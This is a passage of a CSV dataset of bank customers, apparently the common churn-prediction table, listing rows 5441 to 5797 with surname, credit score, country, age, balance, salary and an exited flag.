+5441,15807269,Milanesi,690,Germany,Male,43,2,166522.78,1,0,0,119644.59,1 +5442,15602979,Lin,751,France,Male,29,1,135536.5,1,1,0,66825.33,0 +5443,15660417,Lambert,613,Germany,Female,43,10,120481.69,1,0,0,94875.03,1 +5444,15590199,Temple,701,Spain,Male,28,1,103421.32,1,0,1,76304.73,0 +5445,15641794,Ridley,698,France,Male,33,5,135658.73,2,0,1,39755,0 +5446,15779174,Young,451,France,Female,36,2,0,2,1,1,180142.42,0 +5447,15785547,Slye,665,France,Male,28,8,191402.82,2,1,0,83238.4,0 +5448,15795124,Pan,726,Germany,Male,50,9,94504.35,1,0,1,5078.9,0 +5449,15718912,Hsueh,608,Germany,Female,44,5,126147.84,1,0,1,132424.69,1 +5450,15592028,Roberts,549,France,Female,46,7,0,1,1,1,109057.56,0 +5451,15580227,Moss,803,France,Male,33,6,0,2,1,0,115676.61,0 +5452,15657830,Andrews,663,France,Male,43,4,87624.03,2,1,0,149401.33,0 +5453,15798256,Takasuka,558,France,Female,45,1,153697.53,2,0,0,89891.4,1 +5454,15643819,Dawson,714,France,Female,25,4,0,2,0,0,82500.84,0 +5455,15754301,Bruche,704,France,Male,39,5,0,1,1,0,6416.92,0 +5456,15726855,Oliver,805,Germany,Female,45,9,116585.97,1,1,0,189428.75,1 +5457,15755225,Ryan,659,Germany,Male,34,9,134464.58,2,1,0,178833.34,0 +5458,15725221,Sabbatini,738,Germany,Male,62,10,83008.31,1,1,1,42766.03,0 +5459,15789055,Watt,635,Spain,Male,35,2,113635.16,1,1,0,90883.12,0 +5460,15617507,Wilson,530,Spain,Female,36,7,0,2,1,0,80619.09,0 +5461,15668894,Abramova,661,Germany,Male,41,5,122552.48,2,0,1,120646.4,0 +5462,15589563,Purdy,531,Spain,Male,31,2,118899.45,2,0,0,41409.36,0 +5463,15693162,Higgins,694,France,Female,29,5,99713.87,1,0,0,112317.89,0 +5464,15750099,Marshall,731,France,Female,36,6,0,1,0,0,152128.36,0 +5465,15795540,Reye,556,France,Female,36,2,134208.22,1,0,1,177670.57,0 +5466,15794941,Chibueze,647,Germany,Female,41,1,85906.65,3,1,0,189159.97,0 +5467,15611848,Kwemtochukwu,850,Germany,Male,32,3,137714.25,1,0,1,159403.68,0 +5468,15581237,Biryukova,573,Spain,Male,33,1,160777.9,1,1,1,149536.15,0 +5469,15738150,Chidozie,591,France,Male,45,5,0,2,1,1,155492.87,0 +5470,15678571,Barber,723,France,Male,21,4,0,2,0,0,24847.02,0 +5471,15736124,Thompson,617,France,Male,25,1,102585.88,2,1,1,115387.4,0 +5472,15623202,Maslov,704,Germany,Female,39,10,102556.18,2,1,0,171971.25,1 +5473,15804201,Jones,457,Germany,Male,42,4,126772.57,1,0,1,126106.4,0 +5474,15596863,Chidumaga,787,Germany,Female,38,3,158373.23,1,1,1,28228.35,0 +5475,15696277,Hs?,651,France,Female,34,9,0,2,1,0,138113.71,0 +5476,15748608,Trentini,612,Germany,Male,42,5,141927.1,1,1,1,43018.98,0 +5477,15723864,Lucas,828,Spain,Male,47,1,109876.82,2,1,0,83611.45,1 +5478,15802390,Willoughby,724,France,Female,34,2,0,2,1,1,118863.38,0 +5479,15774336,Jamieson,648,Germany,Male,44,9,111369.79,2,1,1,91947.74,0 +5480,15648766,Robertson,569,Spain,Male,35,3,116969.35,1,0,0,94488.82,0 +5481,15659094,Ojiofor,765,Germany,Female,34,8,136729.51,2,0,0,47058.21,0 +5482,15606397,Cameron,577,Germany,Female,44,1,152086.15,1,0,1,44719.5,1 +5483,15642619,Mayne,603,Spain,Male,46,2,0,2,1,0,174478.54,0 +5484,15666032,Mancini,568,Spain,Male,28,1,127289.28,1,0,0,45611.51,0 +5485,15595842,Paramor,748,Germany,Male,45,2,119852.01,1,0,0,73853.94,1 +5486,15753837,Young,573,Spain,Male,38,4,0,2,1,1,196517.43,0 +5487,15783882,Daly,771,Spain,Female,41,5,0,2,0,1,92914.67,0 +5488,15799790,Carter,763,France,Male,35,9,0,1,1,1,31372.91,0 +5489,15628155,Dike,410,France,Female,35,7,117183.74,1,1,1,109733.73,0 +5490,15703778,Hughes,728,France,Male,33,8,129907.63,1,0,1,36083.96,0 +5491,15722322,Green,655,Spain,Female,78,2,0,2,0,1,188435.38,0 +5492,15639278,Chinomso,580,Germany,Female,36,6,145387.32,2,1,1,169963.2,1 +5493,15568487,Gorshkov,712,France,Male,35,7,124616.23,1,1,1,69320.97,0 +5494,15682084,Chinomso,680,France,Male,31,9,0,2,1,0,36145.53,0 +5495,15642821,Ijendu,383,Spain,Female,48,8,95808.19,1,0,0,137702.01,1 +5496,15601387,Yen,721,France,Male,35,10,0,2,1,0,71594.26,0 +5497,15642515,Arcuri,620,France,Female,42,1,0,2,0,1,65565.92,0 +5498,15710421,Baresi,774,Spain,Female,36,8,117152.3,1,0,0,101828.39,0 +5499,15726774,Field,563,France,Male,35,3,106250.72,1,0,0,39546.32,0 +5500,15649078,Christian,850,Germany,Female,27,8,111837.78,2,1,1,110805.79,0 +5501,15641877,Ross,681,France,Male,47,9,97023.21,1,1,1,2168.13,0 +5502,15796496,Trevisani,631,France,Female,31,8,137687.72,1,1,0,190067.12,0 +5503,15815690,Akabueze,614,Spain,Female,40,3,113348.5,1,1,1,77789.01,0 +5504,15631739,Dunn,704,Spain,Male,24,10,122109.78,1,1,1,127654.37,0 +5505,15625584,Martin,786,France,Male,32,2,120452.4,2,0,0,79602.86,0 +5506,15802466,Donaldson,534,France,Female,53,7,0,2,1,1,80619.17,0 +5507,15697028,McClinton,590,Spain,Male,34,0,65812.35,2,0,1,160346.3,0 +5508,15575759,Bentley,583,Spain,Female,40,3,54428.37,1,1,0,109638.78,1 +5509,15567442,Ibezimako,656,France,Female,75,3,0,2,1,1,1276.87,0 +5510,15746805,Thomson,597,France,Male,33,9,0,2,1,0,49374.82,0 +5511,15636330,Ch'in,588,Germany,Female,48,1,143279.58,2,1,0,31580.8,1 +5512,15714970,Holbrook,667,Germany,Male,32,0,103846.65,1,1,0,20560.69,0 +5513,15653784,Solomina,627,France,Male,37,2,125190.86,1,0,1,84584.69,0 +5514,15693543,McDonald,708,France,Female,33,8,0,2,0,1,15246.83,0 +5515,15773283,Dennis,641,France,Male,65,6,38340.02,1,1,0,32607.77,1 +5516,15742534,Faulk,527,Germany,Female,28,2,123802.98,2,1,1,155846.69,0 +5517,15569878,Dale,592,France,Male,37,3,96651.03,1,1,1,3232.82,0 +5518,15729454,Gorbunov,465,France,Male,33,8,0,2,1,0,177668.55,0 +5519,15578375,Farrell,628,France,Male,39,6,0,2,0,0,134441.6,0 +5520,15785559,De Luca,678,France,Male,43,1,133237.21,1,1,0,111032.79,1 +5521,15649414,Walker,570,France,Female,61,6,142105.35,1,1,1,45214.04,0 +5522,15701605,Forster,815,France,Male,37,1,166115.42,1,1,0,67208.3,0 +5523,15686696,Brown,817,France,Female,37,6,81070.34,2,1,0,80985.88,0 +5524,15625586,Monaldo,717,France,Male,35,4,0,1,1,1,167573.06,0 +5525,15654975,Wu,641,France,Female,53,0,123835.52,2,0,1,160110.65,0 +5526,15782993,Pan,624,France,Male,51,10,123401.43,2,1,1,127825.25,0 +5527,15774382,Longo,579,Germany,Male,49,4,169377.31,1,1,1,123535.05,0 +5528,15689602,Findlay,698,France,Male,38,2,130015.24,1,1,1,41595.3,0 +5529,15756155,Fu,645,France,Male,32,4,0,2,0,1,97628.08,0 +5530,15812647,Yin,691,France,Male,34,8,133936.04,2,1,0,91359.79,0 +5531,15736043,Hamilton,638,France,Male,34,6,114543.27,1,1,1,97755.29,0 +5532,15696744,Miller,705,France,Female,31,3,119794.67,1,0,0,182528.44,0 +5533,15602572,Hsing,720,France,Male,33,9,0,2,1,1,142956.48,0 +5534,15674765,Mitchell,553,Spain,Male,44,4,0,1,1,0,10789.3,0 +5535,15678725,Chamberlin,658,France,Female,29,8,0,2,0,1,130461.09,0 +5536,15694444,Buttenshaw,648,Germany,Female,32,8,157138.99,3,1,0,190994.48,1 +5537,15795878,Anayochukwu,636,Spain,Male,45,3,0,2,1,1,159463.8,0 +5538,15735346,Wallace,527,Germany,Female,41,10,136733.24,1,1,1,57589.29,0 +5539,15687094,Calabresi,717,Germany,Female,28,9,82498.14,2,0,0,40437.67,0 +5540,15790067,Sun,614,Spain,Male,39,3,151914.93,1,0,0,56459.45,0 +5541,15605742,Tuan,737,France,Male,43,0,80090.93,1,1,0,39920,1 +5542,15566740,Nazarova,587,Spain,Male,51,3,83739.32,1,0,1,148798.45,0 +5543,15664897,Bryant,682,France,Female,35,2,181166.44,1,1,1,63737.19,1 +5544,15585777,Pai,710,France,Male,38,3,130588.82,1,1,1,154997.64,0 +5545,15650864,Power,507,France,Male,42,6,0,2,1,0,34777.23,0 +5546,15806709,Hao,609,Germany,Male,33,6,94126.67,1,0,0,93718.16,0 +5547,15633818,McMillan,786,France,Male,32,9,0,2,1,0,133112.41,0 +5548,15713845,Merrett,688,France,Male,38,7,148045.68,1,1,0,175479.92,1 +5549,15639662,Phillips,710,France,Male,38,2,0,2,1,0,96.27,0 +5550,15567013,De Luca,779,Spain,Male,33,3,0,2,1,0,30804.68,0 +5551,15777784,Tu,733,France,Female,44,6,168165.84,1,0,1,197193.49,0 +5552,15800251,Elder,583,Germany,Female,26,10,72835.56,2,1,0,96792.15,0 +5553,15651315,Dilke,627,France,Male,41,3,0,2,1,0,132719.8,0 +5554,15651450,Panicucci,666,Germany,Male,31,3,123212.08,2,1,1,112157.31,0 +5555,15784218,Mason,620,Spain,Male,38,0,0,2,1,1,38015.34,0 +5556,15572398,Townsend,614,Spain,Female,39,6,0,2,1,1,164018.98,0 +5557,15707962,Gunson,606,France,Male,40,6,119501.88,2,1,0,46774.94,0 +5558,15705663,Milano,700,Germany,Female,39,5,144550.83,2,1,1,189664.43,0 +5559,15645355,Macleod,677,Germany,Male,34,3,126729.41,1,1,1,26106.39,1 +5560,15729557,Olisaemeka,850,Germany,Male,36,5,119984.07,1,1,0,191535.11,1 +5561,15631436,Gleeson,564,France,Male,35,4,0,1,1,0,158937.55,0 +5562,15583073,Martin,771,Spain,Female,56,2,0,1,1,1,25222.6,1 +5563,15614361,Liao,620,Spain,Male,42,9,121490.05,1,1,1,29296.74,0 +5564,15724684,Sung,610,Spain,Male,46,5,91897.8,1,1,0,54394.28,0 +5565,15700083,Lai,609,Spain,Male,39,2,139443.75,2,1,0,9234.06,0 +5566,15636541,Cartwright,683,Germany,Male,35,5,144961.97,1,0,1,26796.73,0 +5567,15796015,Wu,633,Germany,Male,42,3,126041.02,1,0,1,11796.89,0 +5568,15787222,Ch'in,676,Germany,Male,28,1,69459.05,2,1,1,128461.29,0 +5569,15594270,Biryukov,693,France,Male,38,7,198338.77,2,1,1,14278.18,0 +5570,15701524,Ting,709,France,Male,36,0,0,2,1,0,46811.77,0 +5571,15645847,P'eng,569,Germany,Male,35,2,109196.66,3,1,0,109393.19,1 +5572,15708867,Niu,684,Spain,Female,38,3,134168.5,3,1,0,3966.5,1 +5573,15613140,Mellor,565,France,Male,34,6,0,1,1,1,63173.64,0 +5574,15628893,Power,681,France,Male,29,8,0,1,1,0,66367.33,0 +5575,15764073,Arcuri,503,Spain,Female,36,9,0,2,1,1,16274.67,0 +5576,15782879,Lang,656,France,Male,40,2,0,2,1,1,180553.48,0 +5577,15635964,Eve,566,Germany,Male,65,4,120100.41,1,1,0,107563.16,1 +5578,15726087,Ch'in,592,France,Female,62,5,0,1,1,1,100941.57,0 +5579,15726313,Napolitani,687,Spain,Female,50,5,0,2,1,0,110230.4,0 +5580,15578073,Barker,686,Spain,Male,22,8,0,2,0,0,142331.85,0 +5581,15786249,Whitfield,616,Spain,Male,30,2,0,2,1,0,199099.51,0 +5582,15812850,Stradford,494,Spain,Male,67,5,0,2,1,1,85890.16,0 +5583,15596972,Brownlow,534,France,Male,38,3,0,1,0,0,143938.27,0 +5584,15620579,Dunn,695,Spain,Female,31,8,0,2,0,1,131644.41,0 +5585,15768270,DeRose,579,Spain,Female,31,9,0,2,1,0,112395.98,0 +5586,15656597,Wang,432,Germany,Male,38,2,135559.8,2,1,1,71856.3,0 +5587,15699446,Hobbs,816,Germany,Female,25,2,150355.35,2,1,1,35770.84,0 +5588,15615004,Anderson,730,France,Female,37,1,0,2,1,1,124364.63,0 +5589,15704771,Ugochukwu,593,France,Female,35,6,133489.12,2,1,1,78101.29,0 +5590,15588372,Kirsova,715,Germany,Female,37,9,105489.31,1,0,0,143096.49,1 +5591,15681439,Tsou,775,Germany,Male,25,10,60205.2,2,1,0,14073.11,0 +5592,15607509,Ozerova,539,France,Male,38,5,0,2,1,0,47388.41,0 +5593,15670343,Li,576,Spain,Male,19,6,0,2,0,0,72306.07,0 +5594,15597968,Fyans,617,Spain,Male,50,7,0,1,1,0,184839.7,1 +5595,15658432,Freeman,688,France,Male,40,6,0,1,1,1,47886.44,0 +5596,15616431,Chiu,608,France,Male,33,4,0,1,0,1,130474.03,0 +5597,15796957,Iadanza,597,Spain,Male,35,9,0,3,0,1,73181.39,1 +5598,15815552,Ferguson,670,France,Female,42,6,112333.63,1,1,1,65706.86,0 +5599,15631871,Kelly,616,Germany,Female,57,7,116936.81,1,1,1,104379.36,0 +5600,15635870,She,579,Germany,Female,50,5,117721.02,1,0,1,192146.63,1 +5601,15596713,Christie,786,France,Male,37,7,165896.22,2,1,1,66977.68,0 +5602,15684211,Creel,704,Spain,Female,44,9,153656.85,1,1,0,158742.81,0 +5603,15760521,Thompson,796,France,Female,50,1,94164,1,1,1,189414.74,0 +5604,15608408,Lazareva,598,Spain,Male,39,1,0,2,1,0,159130.32,0 +5605,15804721,Boni,602,France,Male,49,0,191808.73,1,0,0,97640.2,0 +5606,15730272,Evseev,619,France,Male,58,5,152199.33,1,1,1,86022.09,0 +5607,15741988,Marino,492,Germany,Female,52,8,125396.24,1,1,0,10014.72,1 +5608,15771728,Mackenzie,641,Germany,Male,41,7,104405.54,3,1,0,17384.21,0 +5609,15605113,Sutherland,518,France,Female,27,1,133801.49,1,1,1,143315.57,0 +5610,15661945,Nicolay,623,Spain,Female,40,4,0,3,1,0,31669.18,0 +5611,15783816,Lori,733,France,Female,28,5,0,2,0,0,12761.16,0 +5612,15721207,Piazza,625,Germany,Male,42,6,100047.33,1,1,0,93429.95,0 +5613,15764072,Somerville,759,France,Female,31,1,109848.6,1,1,1,42012.55,0 +5614,15689412,Christie,604,France,Female,32,7,127849.38,1,1,0,15798.7,0 +5615,15798385,Grave,512,Spain,Female,46,3,0,2,1,1,56408.14,0 +5616,15775339,Lori,520,France,Female,29,8,95947.76,1,1,0,4696.44,0 +5617,15585256,Iloerika,805,Spain,Male,26,2,0,2,1,1,25042.1,0 +5618,15797329,Muir,626,France,Male,43,4,137638.69,1,1,0,130442.08,1 +5619,15780220,Pauley,656,France,Male,38,10,0,1,1,1,136521.82,0 +5620,15648951,Kao,785,Spain,Male,41,7,0,2,1,1,199108.88,0 +5621,15752409,Grant,553,France,Male,31,6,0,2,0,0,124596.63,0 +5622,15807524,Chukwuma,569,France,Female,44,4,0,2,0,0,134394.78,0 +5623,15766649,Vincent,670,France,Male,38,10,89416.99,1,0,0,144275.39,0 +5624,15696812,Lazareva,586,Spain,Male,42,6,0,2,1,1,123410.23,0 +5625,15581295,Ch'ien,617,Spain,Female,45,1,0,1,1,0,143298.06,0 +5626,15663234,Bishop,508,France,Female,60,7,143262.04,1,1,1,129562.74,0 +5627,15741417,Chibuzo,624,Spain,Female,35,7,119656.45,2,1,1,4595.05,0 +5628,15695174,Chang,654,France,Male,29,4,132954.64,1,1,1,146715.07,0 +5629,15665168,Calabrese,681,Germany,Female,44,3,105206.7,2,1,1,163558.36,0 +5630,15601503,Tokaryev,578,Spain,Male,28,4,0,2,0,0,6947.09,0 +5631,15706131,Logan,621,Spain,Female,37,9,83061.26,2,1,0,9170.54,0 +5632,15782758,Ozerova,632,France,Male,40,5,147650.68,1,1,1,199674.83,0 +5633,15591091,Goering,644,France,Male,44,5,73348.56,1,1,0,157166.79,1 +5634,15715877,Lo,821,France,Male,28,2,0,2,1,0,46072.52,0 +5635,15756918,Simmons,754,France,Female,38,2,0,2,0,0,3524.69,0 +5636,15746662,Maduabuchim,568,Spain,Female,27,1,116320.68,1,0,1,45563.94,0 +5637,15626679,Linger,584,France,Male,33,3,0,2,0,1,59103.13,0 +5638,15793343,Yeh,549,France,Female,29,8,0,2,1,1,189558.44,0 +5639,15576774,Stevenson,729,France,Female,38,7,0,2,0,0,45779.9,0 +5640,15801316,Ifeatu,523,France,Male,61,8,66250.71,1,1,1,21859.06,0 +5641,15800514,Kenechukwu,477,Germany,Female,24,2,95675.62,2,0,0,162699.7,1 +5642,15662232,Learmonth,675,Germany,Male,42,2,92616.64,2,1,0,8567.18,0 +5643,15737778,Dickson,782,Spain,Female,41,4,0,1,1,0,132943.88,0 +5644,15782096,Volkova,616,Spain,Female,36,6,0,1,1,1,12916.32,1 +5645,15783522,Mitchell,738,Spain,Female,37,8,100565.94,1,1,1,128799.86,0 +5646,15785373,Wong,717,Spain,Female,42,5,190305.78,1,1,0,99347.8,1 +5647,15756272,James,526,Germany,Female,35,9,118536.4,1,1,0,40980.87,1 +5648,15615245,Shao,660,France,Male,19,5,127649.64,1,1,1,40368.65,0 +5649,15600174,Walton,525,France,Male,35,7,165358.77,1,0,1,94738.54,0 +5650,15752956,Stanley,629,Spain,Male,29,6,0,2,1,1,88842.8,0 +5651,15644882,Watson,616,Germany,Female,36,10,78249.53,1,1,0,136934.91,0 +5652,15766272,Folliero,521,Germany,Female,61,0,125193.96,1,1,1,109356.53,0 +5653,15800620,Fitzgerald,691,France,Female,29,9,0,2,0,0,199635.93,0 +5654,15569764,Garner,687,Germany,Female,41,2,154007.21,1,1,0,158408.23,0 +5655,15747458,Folliero,677,Spain,Female,43,3,133214.88,2,1,1,95936.84,0 +5656,15573171,Liao,695,Spain,Male,63,1,146202.93,1,1,1,126688.83,1 +5657,15736769,Lucchesi,663,France,Female,27,9,0,2,1,0,150850.29,0 +5658,15763381,Chan,496,France,Male,30,0,90963.49,1,0,1,27802,0 +5659,15814430,Ma,747,Spain,Male,41,9,0,1,1,0,32430.94,1 +5660,15638607,Nwabugwu,546,France,Female,52,2,0,1,1,0,137332.37,1 +5661,15737133,P'eng,706,Spain,Male,68,4,114386.85,1,1,1,28601.68,0 +5662,15613945,Andrews,472,France,Female,26,5,0,2,1,0,108411.66,0 +5663,15659937,Otutodilinna,703,France,Female,40,7,0,2,0,1,122518.5,0 +5664,15765287,Grant,850,France,Female,38,2,0,2,1,0,9015.07,0 +5665,15661723,Abramovich,667,Spain,Male,71,4,137260.78,1,0,1,94433.08,1 +5666,15766064,Komarova,559,France,Male,33,9,111060.05,2,1,0,110371.84,0 +5667,15649616,Otutodilichukwu,636,Spain,Male,60,7,124447.73,1,1,1,141364.62,1 +5668,15719017,Donaldson,672,France,Female,34,8,0,2,1,1,16245.25,0 +5669,15720919,Duggan,667,France,Male,42,7,0,1,0,1,108348.94,1 +5670,15706706,Chinwendu,648,Germany,Male,33,7,135310.41,2,0,1,171668.2,0 +5671,15709653,Hamilton,497,France,Male,32,8,0,2,1,0,67364.42,0 +5672,15805104,Smith,743,France,Female,73,6,0,2,0,1,107867.38,0 +5673,15622442,Mazzi,619,France,Male,29,5,0,2,1,0,194310.1,0 +5674,15572801,Krischock,639,Spain,Male,34,5,139393.19,2,0,0,33950.08,0 +5675,15767598,Kent,540,Spain,Male,28,8,0,2,0,0,197588.32,0 +5676,15757897,Binder,766,France,Female,26,3,104258.8,1,1,1,428.23,0 +5677,15568104,Zubarev,749,France,Female,26,6,0,2,0,1,34948.77,0 +5678,15763414,Degtyarev,655,Germany,Male,32,9,113447.01,1,1,0,82084.3,0 +5679,15732265,Obialo,630,France,Male,33,9,0,2,1,0,64804.59,0 +5680,15621974,Davydova,778,Germany,Female,33,4,111063.73,2,1,0,83556.65,0 +5681,15803947,Teng,757,Germany,Female,30,6,161378.02,1,0,0,71926.28,1 +5682,15720706,Hsing,529,Spain,Female,39,2,82766.43,1,1,1,122925.44,0 +5683,15759290,Coleman,620,Spain,Male,29,9,0,2,1,0,13133.88,0 +5684,15651664,Wilder,615,France,Female,61,1,104267.7,1,1,0,62845.64,1 +5685,15795132,Molineux,735,France,Female,25,3,91718.8,1,0,0,28411.23,0 +5686,15811565,Cocci,705,Spain,Female,47,3,63488.7,1,0,1,28640.92,1 +5687,15713774,Chikwendu,644,Spain,Female,46,6,12459.19,1,0,0,156787.34,1 +5688,15691840,Fraser,505,Germany,Female,37,6,159863.9,2,0,1,125307.87,0 +5689,15682021,Lai,471,Germany,Male,23,6,104592.55,2,1,0,131736.23,0 +5690,15612931,Korovin,722,Spain,Female,50,4,132088.59,1,1,1,128262.14,0 +5691,15676707,Sidorov,577,Spain,Female,39,4,0,2,1,0,91366.42,0 +5692,15601383,Ibrahimova,744,Spain,Male,44,5,120654.68,1,1,0,82290.81,0 +5693,15662662,Duigan,573,France,Female,30,6,0,2,1,0,66190.21,0 +5694,15752694,Taylor,653,France,Female,32,4,83772.95,1,0,1,23920.65,0 +5695,15590683,Donaldson,660,France,Female,31,6,172325.67,1,0,1,45438.38,0 +5696,15773591,Jobson,787,France,Male,46,7,117685.31,2,1,1,93360.35,0 +5697,15723620,Lu,617,France,Male,41,7,0,2,0,1,14496.67,0 +5698,15671779,Nebechi,567,France,Male,39,5,0,2,0,0,168521.72,0 +5699,15672966,Cross,682,Spain,Female,64,9,0,2,1,1,103318.44,0 +5700,15624667,Wallace,684,France,Male,35,6,135871.5,1,1,1,87219.41,0 +5701,15812888,Perreault,447,France,Male,41,3,0,4,1,1,197490.39,1 +5702,15724154,Manna,625,Germany,Female,49,4,128504.76,1,1,0,126812.63,1 +5703,15749540,Hsiung,585,France,Male,36,7,0,2,1,0,94283.09,0 +5704,15621063,Gibbons,516,France,Female,42,8,56228.25,1,1,0,46857.52,0 +5705,15661626,Algeranoff,732,Germany,Female,45,6,98792.4,1,1,0,81491.7,1 +5706,15698703,Doherty,628,Germany,Male,40,5,181768.32,2,1,1,129107.97,0 +5707,15801431,Rowe,682,Spain,Female,48,9,101198.01,1,1,1,49732.9,0 +5708,15649451,Yates,746,France,Male,25,9,0,2,0,1,88728.47,0 +5709,15626156,Galloway,655,France,Female,60,3,0,2,1,1,86981.45,0 +5710,15606158,Genovese,644,France,Female,39,9,0,1,1,0,3740.93,0 +5711,15589496,Arrington,778,France,Male,34,5,139064.06,2,0,0,67949.32,0 +5712,15730345,Miah,617,France,Female,35,2,104508.1,1,1,1,147636.46,0 +5713,15572038,Chijindum,660,Germany,Male,35,9,113948.58,1,1,0,188891.96,1 +5714,15643439,Ferguson,537,France,Male,47,10,0,2,0,1,25482.62,0 +5715,15604158,Smith,554,France,Female,39,10,0,2,1,1,18391.93,0 +5716,15657396,Marshall,806,France,Male,31,9,0,2,0,1,140168.36,0 +5717,15709478,P'an,611,Germany,Male,37,1,117524.72,2,0,1,161064.29,0 +5718,15628824,Burton,665,France,Female,37,5,160389.82,1,0,1,183542.08,0 +5719,15814519,Kamdibe,648,France,Female,37,7,0,2,1,0,194238.92,0 +5720,15636520,Milani,692,France,Male,27,1,125547.53,1,0,0,7900.46,0 +5721,15794414,Forbes,507,Spain,Male,46,6,92783.68,1,1,1,51424.29,0 +5722,15643671,Chiekwugo,696,Germany,Male,49,5,97036.22,2,1,0,152450.84,1 +5723,15700650,Cousens,681,France,Male,34,3,0,2,0,0,55816.2,0 +5724,15680224,Ross,687,France,Female,26,6,0,2,1,1,32909.13,0 +5725,15784286,Wood,641,Spain,Male,40,5,102145.13,1,1,1,100637.07,0 +5726,15693996,Hawks,507,France,Female,33,1,113452.66,1,0,0,142911.99,0 +5727,15764343,T'ien,688,Spain,Female,46,8,155681.72,1,1,0,26287.21,0 +5728,15704168,Ting,535,Germany,Male,38,8,127475.24,1,0,0,60775.76,1 +5729,15680197,Thynne,701,France,Male,41,10,0,2,1,1,146257.77,0 +5730,15633729,Wang,488,France,Male,43,10,112751.13,1,1,1,28332,0 +5731,15577683,Maclean,539,France,Female,29,4,0,2,1,1,100919.19,0 +5732,15800746,Watson,674,France,Male,45,7,144889.18,1,1,1,102591.9,1 +5733,15788686,Gibson,538,Spain,Male,40,8,0,2,1,1,25554.4,0 +5734,15742798,French,829,France,Female,22,7,150126.44,1,1,0,152107.93,1 +5735,15596647,Henderson,768,France,Male,54,8,69712.74,1,1,1,69381.05,0 +5736,15756070,Greenwood,585,Spain,Female,44,4,0,2,0,1,101728.46,0 +5737,15775116,Anderson,581,France,Male,31,3,0,2,0,0,89040.61,0 +5738,15575428,Mistry,682,Germany,Female,35,2,117438.92,2,1,1,16910.98,0 +5739,15654074,Tuan,653,France,Male,38,8,119315.75,1,1,0,150468.35,0 +5740,15695872,Fiorentini,712,France,Female,30,1,89571.59,1,1,1,177613.19,0 +5741,15568885,Scott,620,Germany,Female,34,8,102251.57,1,1,0,120672.09,0 +5742,15725036,Jideofor,709,France,Male,42,9,118546.71,1,0,1,77142.85,0 +5743,15632665,Yevseyev,832,France,Male,61,2,0,1,0,1,127804.66,1 +5744,15571476,Kelly,635,Spain,Male,38,0,103257.14,1,0,0,158344.63,0 +5745,15776850,Smith,749,Spain,Female,43,1,124209.02,1,1,1,167179.48,0 +5746,15623649,Ogle,629,Spain,Male,32,3,0,2,1,1,15404.64,0 +5747,15751131,Moss,836,Spain,Female,41,7,150302.84,1,1,1,156036.19,0 +5748,15688128,Loggia,542,Spain,Male,34,8,108653.93,1,0,1,144725.14,0 +5749,15678412,Nwankwo,645,France,Female,45,8,85325.93,1,0,0,22558.74,0 +5750,15770291,Allan,844,France,Female,29,8,0,2,0,0,147342.03,0 +5751,15583392,Woronoff,747,Germany,Male,37,9,135776.36,3,1,0,85470.45,1 +5752,15690731,Wolfe,645,France,Male,40,6,131411.24,1,1,1,194656.11,0 +5753,15697948,Henderson,752,Spain,Female,36,3,0,2,1,1,48505.1,0 +5754,15608328,Sutherland,760,Spain,Female,41,6,0,2,0,0,101491.23,0 +5755,15766378,Marsden,714,Germany,Female,45,9,106431.97,2,1,1,164117.69,0 +5756,15600813,Hyde,717,France,Male,50,9,90305.76,1,1,1,124626.57,0 +5757,15706217,Kao,645,Germany,Male,28,7,117466.03,2,1,1,34490.06,0 +5758,15601417,T'ang,681,France,Male,32,3,148884.47,2,1,1,90967.37,0 +5759,15610972,Crawford,681,Germany,Female,44,4,91115.76,2,0,0,24208.84,1 +5760,15674620,Dilibe,679,Germany,Female,37,8,77373.87,2,0,1,174873.09,0 +5761,15785350,Austin,528,Spain,Male,23,7,104744.89,1,1,0,170262.97,0 +5762,15749119,Santiago,710,France,Female,31,3,0,2,1,1,112289.06,0 +5763,15756535,Chibugo,733,Germany,Male,39,5,91538.51,1,1,1,93783,0 +5764,15700965,Toscano,724,France,Female,32,6,0,2,1,1,150026.79,0 +5765,15791851,Afanasyeva,726,France,Female,34,0,185734.75,1,1,1,102036.82,0 +5766,15717156,Sokolov,520,France,Male,30,3,143396.54,2,1,1,898.51,0 +5767,15740846,Wei,556,France,Male,40,5,125909.85,1,1,1,95124.4,0 +5768,15573284,Olisanugo,579,France,Female,45,2,0,2,0,0,11514.39,0 +5769,15729083,Gorman,674,France,Male,36,2,154525.7,1,0,1,27468.72,0 +5770,15611612,Priestley,570,France,Female,29,0,0,1,1,0,37092.43,0 +5771,15694381,Lloyd,631,France,Male,51,8,100654.8,1,1,0,171587.9,0 +5772,15651737,Salmond,623,Spain,Male,44,1,83325.77,1,0,1,80828.78,0 +5773,15663168,MacDonald,665,France,Male,35,8,110934.54,1,1,0,169287.99,0 +5774,15643426,Robertson,523,Spain,Female,36,8,113680.54,1,0,0,13197.44,0 +5775,15618245,Chukwumaobim,706,Germany,Male,31,1,117020.08,2,1,0,54439.53,0 +5776,15717527,Ifeanacho,619,France,Female,49,9,145359.99,1,1,0,38186.85,0 +5777,15793478,Li Fonti,593,Germany,Female,39,8,151391.68,1,1,0,27274.6,1 +5778,15642248,Ko,608,Spain,Male,66,8,123935.35,1,1,1,65758.19,0 +5779,15640377,Goloubev,526,France,Female,36,0,0,2,1,0,97767.63,0 +5780,15723950,Kruglov,684,Spain,Male,40,2,70291.02,1,1,1,115468.84,1 +5781,15590327,Liao,604,Germany,Female,42,10,166031.45,1,1,0,98293.14,0 +5782,15706199,White,636,Germany,Male,36,6,96643.32,1,0,0,182059.28,0 +5783,15671514,Sinclair,669,Spain,Female,33,8,0,2,0,1,128538.05,0 +5784,15727041,Fiorentini,624,France,Male,71,7,0,2,1,1,108841.83,0 +5785,15738063,Shen,631,France,Male,29,2,0,2,1,1,18581.84,0 +5786,15711733,Rapuokwu,753,France,Male,48,4,0,2,0,1,146821.42,0 +5787,15652320,Woronoff,588,France,Male,40,5,0,2,0,0,100727.68,0 +5788,15634180,Holden,729,Germany,Male,26,4,97268.1,2,1,0,39356.38,0 +5789,15694566,Roberts,602,France,Female,42,10,0,2,0,0,169921.11,1 +5790,15726103,Tsou,689,Germany,Female,55,1,76296.81,1,1,0,42364.75,1 +5791,15646351,Somerville,486,Spain,Male,27,7,0,2,1,0,28823.04,0 +5792,15730044,Greco,809,Germany,Female,42,6,64497.94,3,0,1,182436.81,1 +5793,15795186,Leonard,562,France,Male,38,5,0,1,1,0,115700.2,0 +5794,15784890,McKenzie,763,Spain,Female,32,8,0,2,1,0,16725.53,0 +5795,15694125,McElhone,669,France,Male,57,5,0,2,1,1,56875.76,0 +5796,15565891,Dipietro,709,France,Male,39,8,0,2,1,0,56214.09,0 +5797,15674254,Kerr,554,Spain,Female,45,4,0,2,1,1,193412.05,0 